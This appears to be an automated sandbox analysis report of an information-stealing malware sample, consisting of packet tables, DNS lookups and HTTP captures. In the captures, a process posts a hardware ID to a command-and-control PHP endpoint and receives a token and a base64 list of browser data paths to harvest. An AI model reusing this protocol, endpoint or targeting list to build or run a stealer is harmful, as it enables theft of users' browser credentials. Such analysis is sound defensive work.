Oct 7, 2024 18:00:32.813664913 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.813674927 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.813684940 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.813704967 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.813735008 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.814294100 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.814305067 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.814315081 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.814325094 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.814357042 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.814369917 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.814580917 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.814627886 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.814723015 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.814733028 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.814743042 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.814752102 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.814762115 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.814774036 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.814774990 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.814785957 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.814796925 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.814805031 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.814806938 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.814817905 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.814826012 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.814846039 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.814857960 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.815541983 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.815552950 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.815562963 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.815572977 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.815582037 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.815593004 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.815603018 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.815613031 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.815622091 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.815623045 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.815634966 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.815645933 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.815655947 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.815692902 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.816530943 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.816541910 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.816553116 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.816561937 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.816571951 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.816581964 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.816591978 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.816592932 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.816601992 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.816606045 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.816613913 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.816625118 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.816633940 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.816634893 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.816651106 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.816669941 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.817416906 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.817428112 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.817436934 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.817445993 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.817456007 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.817467928 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.817476034 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.817478895 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.817491055 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.817498922 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.817501068 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.817511082 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.817519903 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.817524910 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.817532063 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.817547083 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.817564964 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.818344116 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.818353891 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.818363905 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.818373919 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.818382978 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.818393946 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.818399906 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.818412066 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.818422079 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.818425894 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.818434954 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.818447113 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.818448067 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.818460941 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.818469048 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.818473101 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.818483114 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.818519115 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.819133043 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.819144011 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.819154024 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.819164038 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.819173098 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.819184065 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.819190979 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.819194078 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.819205999 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.819205999 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.819216967 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.819227934 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.819231987 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.819237947 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.819246054 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.819256067 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.819267035 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.819268942 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.819277048 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.819288969 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.819300890 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.819333076 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.820002079 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.820019960 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.820025921 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.820066929 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:33.000453949 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:33.005925894 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:33.357009888 CEST	49725	443	192.168.2.6	188.114.97.3
Oct 7, 2024 18:00:33.357067108 CEST	443	49725	188.114.97.3	192.168.2.6
Oct 7, 2024 18:00:33.357158899 CEST	49725	443	192.168.2.6	188.114.97.3
Oct 7, 2024 18:00:33.358354092 CEST	49725	443	192.168.2.6	188.114.97.3
Oct 7, 2024 18:00:33.358375072 CEST	443	49725	188.114.97.3	192.168.2.6
Oct 7, 2024 18:00:33.809209108 CEST	443	49725	188.114.97.3	192.168.2.6
Oct 7, 2024 18:00:33.809494019 CEST	49725	443	192.168.2.6	188.114.97.3
Oct 7, 2024 18:00:33.814973116 CEST	49725	443	192.168.2.6	188.114.97.3
Oct 7, 2024 18:00:33.814989090 CEST	443	49725	188.114.97.3	192.168.2.6
Oct 7, 2024 18:00:33.815335035 CEST	443	49725	188.114.97.3	192.168.2.6
Oct 7, 2024 18:00:33.860683918 CEST	49725	443	192.168.2.6	188.114.97.3
Oct 7, 2024 18:00:34.205460072 CEST	49725	443	192.168.2.6	188.114.97.3
Oct 7, 2024 18:00:34.205507994 CEST	49725	443	192.168.2.6	188.114.97.3
Oct 7, 2024 18:00:34.205686092 CEST	443	49725	188.114.97.3	192.168.2.6
Oct 7, 2024 18:00:34.302071095 CEST	443	49725	188.114.97.3	192.168.2.6
Oct 7, 2024 18:00:34.302196026 CEST	443	49725	188.114.97.3	192.168.2.6
Oct 7, 2024 18:00:34.302285910 CEST	443	49725	188.114.97.3	192.168.2.6
Oct 7, 2024 18:00:34.302293062 CEST	49725	443	192.168.2.6	188.114.97.3
Oct 7, 2024 18:00:34.302324057 CEST	443	49725	188.114.97.3	192.168.2.6
Oct 7, 2024 18:00:34.302381992 CEST	49725	443	192.168.2.6	188.114.97.3
Oct 7, 2024 18:00:34.302391052 CEST	443	49725	188.114.97.3	192.168.2.6
Oct 7, 2024 18:00:34.302562952 CEST	443	49725	188.114.97.3	192.168.2.6
Oct 7, 2024 18:00:34.302648067 CEST	49725	443	192.168.2.6	188.114.97.3
Oct 7, 2024 18:00:34.482642889 CEST	49725	443	192.168.2.6	188.114.97.3
Oct 7, 2024 18:00:34.482642889 CEST	49725	443	192.168.2.6	188.114.97.3
Oct 7, 2024 18:00:34.482666016 CEST	443	49725	188.114.97.3	192.168.2.6
Oct 7, 2024 18:00:34.482676983 CEST	443	49725	188.114.97.3	192.168.2.6
Oct 7, 2024 18:00:34.623883963 CEST	49726	443	192.168.2.6	188.114.97.3
Oct 7, 2024 18:00:34.623927116 CEST	443	49726	188.114.97.3	192.168.2.6
Oct 7, 2024 18:00:34.624011040 CEST	49726	443	192.168.2.6	188.114.97.3
Oct 7, 2024 18:00:34.624583960 CEST	49726	443	192.168.2.6	188.114.97.3
Oct 7, 2024 18:00:34.624620914 CEST	443	49726	188.114.97.3	192.168.2.6
Oct 7, 2024 18:00:35.079960108 CEST	443	49726	188.114.97.3	192.168.2.6
Oct 7, 2024 18:00:35.081209898 CEST	49726	443	192.168.2.6	188.114.97.3
Oct 7, 2024 18:00:35.081744909 CEST	49726	443	192.168.2.6	188.114.97.3
Oct 7, 2024 18:00:35.081756115 CEST	443	49726	188.114.97.3	192.168.2.6
Oct 7, 2024 18:00:35.082568884 CEST	443	49726	188.114.97.3	192.168.2.6
Oct 7, 2024 18:00:35.084196091 CEST	49726	443	192.168.2.6	188.114.97.3
Oct 7, 2024 18:00:35.084196091 CEST	49726	443	192.168.2.6	188.114.97.3
Oct 7, 2024 18:00:35.084292889 CEST	443	49726	188.114.97.3	192.168.2.6
Oct 7, 2024 18:00:35.584254980 CEST	443	49726	188.114.97.3	192.168.2.6
Oct 7, 2024 18:00:35.584358931 CEST	443	49726	188.114.97.3	192.168.2.6
Oct 7, 2024 18:00:35.584431887 CEST	49726	443	192.168.2.6	188.114.97.3
Oct 7, 2024 18:00:35.584645033 CEST	49726	443	192.168.2.6	188.114.97.3
Oct 7, 2024 18:00:35.584666967 CEST	443	49726	188.114.97.3	192.168.2.6
Oct 7, 2024 18:00:35.584702969 CEST	49726	443	192.168.2.6	188.114.97.3
Oct 7, 2024 18:00:35.584711075 CEST	443	49726	188.114.97.3	192.168.2.6
Oct 7, 2024 18:01:05.095963001 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:01:08.190921068 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:01:50.854434013 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:01:50.854667902 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:01:50.854759932 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:01:50.855336905 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:01:50.860882044 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:01:54.408284903 CEST	49709	80	192.168.2.6	2.16.100.168
Oct 7, 2024 18:01:54.414550066 CEST	80	49709	2.16.100.168	192.168.2.6
Oct 7, 2024 18:01:54.414655924 CEST	49709	80	192.168.2.6	2.16.100.168

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 7, 2024 18:00:31.673475981 CEST	51029	53	192.168.2.6	1.1.1.1
Oct 7, 2024 18:00:31.681412935 CEST	53	51029	1.1.1.1	192.168.2.6
Oct 7, 2024 18:00:33.336184025 CEST	50030	53	192.168.2.6	1.1.1.1
Oct 7, 2024 18:00:33.351378918 CEST	53	50030	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 7, 2024 18:00:31.673475981 CEST	192.168.2.6	1.1.1.1	0x55ae	Standard query (0)	nsdm.cumpar-auto-orice-tip.ro	A (IP address)	IN (0x0001)	false
Oct 7, 2024 18:00:33.336184025 CEST	192.168.2.6	1.1.1.1	0x957	Standard query (0)	exemplarou.sbs	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 7, 2024 18:00:21.418195009 CEST	1.1.1.1	192.168.2.6	0x639f	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Oct 7, 2024 18:00:21.418195009 CEST	1.1.1.1	192.168.2.6	0x639f	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Oct 7, 2024 18:00:22.146753073 CEST	1.1.1.1	192.168.2.6	0x7dd6	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 18:00:22.146753073 CEST	1.1.1.1	192.168.2.6	0x7dd6	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Oct 7, 2024 18:00:31.681412935 CEST	1.1.1.1	192.168.2.6	0x55ae	No error (0)	nsdm.cumpar-auto-orice-tip.ro		147.45.44.104	A (IP address)	IN (0x0001)	false
Oct 7, 2024 18:00:33.351378918 CEST	1.1.1.1	192.168.2.6	0x957	No error (0)	exemplarou.sbs		188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 7, 2024 18:00:33.351378918 CEST	1.1.1.1	192.168.2.6	0x957	No error (0)	exemplarou.sbs		188.114.96.3	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

exemplarou.sbs

46.8.231.109

nsdm.cumpar-auto-orice-tip.ro

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49718	46.8.231.109	80	6236	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 18:00:19.840536118 CEST	87	OUT	GET / HTTP/1.1 Host: 46.8.231.109 Connection: Keep-Alive Cache-Control: no-cache
Oct 7, 2024 18:00:20.433475971 CEST	203	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 16:00:20 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 7, 2024 18:00:20.492389917 CEST	413	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KEBGHCBAEGDHIDGCBAEC Host: 46.8.231.109 Content-Length: 214 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 45 42 47 48 43 42 41 45 47 44 48 49 44 47 43 42 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 44 31 34 37 37 34 43 30 45 46 33 33 37 30 31 39 39 31 34 39 39 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 42 47 48 43 42 41 45 47 44 48 49 44 47 43 42 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 42 47 48 43 42 41 45 47 44 48 49 44 47 43 42 41 45 43 2d 2d 0d 0a Data Ascii: ------KEBGHCBAEGDHIDGCBAECContent-Disposition: form-data; name="hwid"DD14774C0EF33701991499------KEBGHCBAEGDHIDGCBAECContent-Disposition: form-data; name="build"default------KEBGHCBAEGDHIDGCBAEC--
Oct 7, 2024 18:00:21.035376072 CEST	407	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 16:00:20 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4f 57 55 7a 4e 44 6c 68 5a 6a 63 33 5a 54 68 6c 4e 44 56 6c 4f 54 67 30 4e 6a 6c 6a 4e 6a 41 31 4e 54 6c 68 4e 32 49 79 4d 32 4d 78 59 6a 52 6c 4f 57 59 32 5a 47 55 7a 4f 47 4e 68 5a 54 49 7a 4f 54 42 69 4e 44 6b 78 4d 47 5a 69 4f 44 4e 6c 59 6a 5a 6b 4e 57 55 7a 4d 6d 4d 30 5a 6d 51 35 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: OWUzNDlhZjc3ZThlNDVlOTg0NjljNjA1NTlhN2IyM2MxYjRlOWY2ZGUzOGNhZTIzOTBiNDkxMGZiODNlYjZkNWUzMmM0ZmQ5fHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Oct 7, 2024 18:00:21.037648916 CEST	467	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFHDAKJKFCFBGCBGDHCB Host: 46.8.231.109 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 46 48 44 41 4b 4a 4b 46 43 46 42 47 43 42 47 44 48 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 65 33 34 39 61 66 37 37 65 38 65 34 35 65 39 38 34 36 39 63 36 30 35 35 39 61 37 62 32 33 63 31 62 34 65 39 66 36 64 65 33 38 63 61 65 32 33 39 30 62 34 39 31 30 66 62 38 33 65 62 36 64 35 65 33 32 63 34 66 64 39 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 41 4b 4a 4b 46 43 46 42 47 43 42 47 44 48 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 41 4b 4a 4b 46 43 46 42 47 43 42 47 44 48 43 42 2d 2d 0d 0a Data Ascii: ------AFHDAKJKFCFBGCBGDHCBContent-Disposition: form-data; name="token"9e349af77e8e45e98469c60559a7b23c1b4e9f6de38cae2390b4910fb83eb6d5e32c4fd9------AFHDAKJKFCFBGCBGDHCBContent-Disposition: form-data; name="message"browsers------AFHDAKJKFCFBGCBGDHCB--
Oct 7, 2024 18:00:21.222153902 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 16:00:21 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 1520 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3Nl
Oct 7, 2024 18:00:21.222412109 CEST	512	IN	Data Raw: 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 Data Ascii: clxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRml
Oct 7, 2024 18:00:21.223915100 CEST	466	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIIEBGCBGIDHDGCAKJEB Host: 46.8.231.109 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 49 49 45 42 47 43 42 47 49 44 48 44 47 43 41 4b 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 65 33 34 39 61 66 37 37 65 38 65 34 35 65 39 38 34 36 39 63 36 30 35 35 39 61 37 62 32 33 63 31 62 34 65 39 66 36 64 65 33 38 63 61 65 32 33 39 30 62 34 39 31 30 66 62 38 33 65 62 36 64 35 65 33 32 63 34 66 64 39 0d 0a 2d 2d 2d 2d 2d 2d 49 49 49 45 42 47 43 42 47 49 44 48 44 47 43 41 4b 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 